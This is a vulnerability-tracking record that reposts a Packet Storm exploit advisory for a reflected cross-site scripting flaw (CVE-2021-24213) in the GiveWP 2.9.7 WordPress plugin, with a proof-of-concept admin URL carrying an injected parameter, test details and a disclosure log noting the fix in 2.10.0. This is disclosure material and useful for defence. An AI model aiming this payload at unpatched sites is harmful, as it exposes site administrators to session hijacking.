{"uuid": "73b2123b-56e8-413d-882a-5cfa29720180", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24213", "type": "seen", "source": "https://t.me/hacking_Attack/2217", "content": "Exploit Collector\nWordPress GiveWP 2.9.7 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png \nWordPress GiveWP plugin version 2.9.7 suffers from a cross site scripting vulnerability.\n\nMD5 | e1d2d3f9920ae4f2a8d888e6f91a3b5e\n\nDownload\n# Exploit Title: GiveWP 2.9.7 Reflected Cross-Site Scripting\n# Date: 3/23/2021\n# Exploit Author: Austin Bentley\n# Vendor Homepage: https://givewp.com/\n# Software Link: https://wordpress.org/plugins/give/\n# Version: 2.9.7\n# Tested on: Windows 7\n# CVE: CVE-2021-24213\nExploitation requirements: Admin must visit payload URL. Default config.\nTested on: GiveWP 2.9.7, Wordpress 5.7, XAMPP 7.4.16, Firefox 86.0.1. Default configs on all products.\nVulnerable since: 2.4.0, Jan 16th 2019, commit 097c4d0ab964493776950381ed64498040395f6b\nActive Installations: 100,000+ per https://wordpress.org/plugins/give/\nResearcher: Austin Bentley (https://bentl.ee/)\nDetailed writeup available at httpS://bentl.ee/posts/cve-givewp/\n\nPoC URL:\nhttp://localhost/wp-admin/edit.php?s=%22%3E&start-date&end-date&form_id=0&action=-1&paged=1&give_action=delete_bulk_donor&orderby=id&order=DESC&action2=-1&post_type=give_forms&page=give-donors&view=donors\n\nResponse:\n--- SNIP ---\n\">\n--- SNIP ---\nDisclosure Log:\n3/21/2021 -- Emailed GiveWP for security contact information\n3/22/2021 -- WPScan CNA issued CVE-2021-24213 (un-released)\n3/22/2021 -- Provided vendor with PoC\n3/22/2021 -- Vendor provided fix in 2.10.0\n3/23/2021 -- Fix validated, article posted, CVE unlocked\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:25.764075Z"}